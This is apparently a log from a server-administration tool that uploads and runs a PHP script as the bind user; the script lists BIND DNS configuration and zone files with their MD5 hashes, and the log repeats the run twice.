MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:26:46: Establishing a connection
2026-04-25 20:26:46: 

PUT: /tmp/pkp477126

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:26:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp477126; rm /tmp/pkp477126'

2026-04-25 20:26:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:26:54: Establishing a connection
2026-04-25 20:26:55: Establishing a connection
2026-04-25 20:26:55: 

PUT: /tmp/pkp283130

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:26:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp283130; rm /tmp/pkp283130'

2026-04-25 20:26:55: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
